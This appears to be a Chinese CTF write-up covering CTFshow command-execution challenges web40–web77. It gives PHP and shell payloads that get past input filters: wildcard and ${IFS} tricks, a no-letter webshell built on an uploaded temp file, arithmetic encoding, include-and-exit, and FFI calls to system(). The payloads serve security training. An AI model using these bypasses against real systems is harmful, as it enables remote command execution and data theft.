CTFshow命令执行
web40
方法1:
get_defined_vars() 返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
array_pop() 是删除并返回数组最后一个元素
read_file()、highlight_file()和show_source()读出源码
scandir() :函数返回指定目录中的文件和目录的数组。(获取目录下的文件)
print_r() :函数用于打印变量,以更容易理解的形式展示。
localeconv() :函数会返回一一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是"."
current() :函数返回数组中的当前元素的值。别名是 pos(),默认第一个值
array_reverse():函数将原数组中的元素顺序翻转,创建新的数组并返回。(数组逆序)
next() :函数将数组内部指针指向数组下一个元素并输出
web42
1是标准输出 2是错误输出
2>/dev/null
意思就是把错误输出到“黑洞”
>/dev/null 2>&1
默认情况是1,也就是等同于1>/dev/null 2>&1。意思就是把标准输出重定向到“黑洞”,还把错误输出2重定向到标准输出1,也就是标准输出和错误输出都进了“黑洞”
要想绕过这个“黑洞“,需要往里面传入两个参数,shell会执行第一个参数,将第二个参数带入到黑洞
因为是url传过去的,所以要记得用url编码,不然没有回显(切记对&&等表示两个参数的分隔符用url编码,不然没有回显)
比如?c=ls&&ls (&&要进行url编码)
web54
1.没过滤rev函数,该函数是文件里面按字节逆序输出
c=rev${IFS}f???????
2.不能直接用cat,但是可以在cat路径里找到他,再用?模糊匹配
c=/bin/c??${IFS}f???????
web55
屏蔽了大小写字母,解题方法是无字母webshell
这是构造的前端代码,是一个文件上传的表单
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 </head> 5 <body> 6 <form action="http://46b4f31d-1edf-45b7-88be-fc4f03cf3e41.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">//这里改一下 7 <label for="file">文件名:</label> 8 <input type="file" name="file" id="file"><br> 9 <input type="submit" name="submit" value="提交"> 10 </form> 11 </body> 12 </html>
PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX
,文件名最后6(或者8个)个字符是随机的大小写字母。最后一个字母大写(也有可能不是)
由于没过滤小数点,我们可以用小数点执行上传的sh文件
c=.%20/???/????????[@-[] [@-[]匹配@到[之间的字母,因为大写字母在这之间
web57
看题目 告诉你flag在36.php里
然后 看传入的参数就是要输入36即可
shell中$(())表示运算,默认为0
$(( ~$(()) )) 取反后是-1,这里取反为啥是-1建议百度
同理
$(( $(( ~$(()) )) $(( ~$(()) )) )) 就是-2
$(( $(( ~$(()) ))*37 )) 就是-37
$(( ~$(( $(( ~$(()) ))*37 )) ))就是36
web59
方法有很多种
highlight_file() (目录可以用glob看)
show_source();
这两个都是一样的,语法高亮显示,包括内容
c=highlight_file('flag.php');
web66
glob:// — 查找匹配的文件路径模式
scandir()获取目录文件
glob://伪协议需要结合其他函数方法才能列目录,单纯传参glob://是没办法列目录的。
web68
include和require能执行文件中的代码,因为flag不是php代码,所以只能以文本的形式显示
web71
error_reporting(0); ini_set('display_errors', 0); // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); }
我们可以执行php代码让后面的匹配缓冲区不执行直接退出 payload:c=include('/flag.txt');exit(0);
web77
FFI扩展已经通过RFC,正式成为PHP 7.4核心扩展。
什么是FFI
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。
FFI的使用非常简单,只用声明和调用两步就可以
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象 $a='/readflag > 1.txt';//没有回显的 $ffi->system($a);//通过$ffi去调用system函数
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 25岁的心里话
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 零经验选手,Compose 一天开发一款小游戏!
· 一起来玩mcp_server_sqlite,让AI帮你做增删改查!!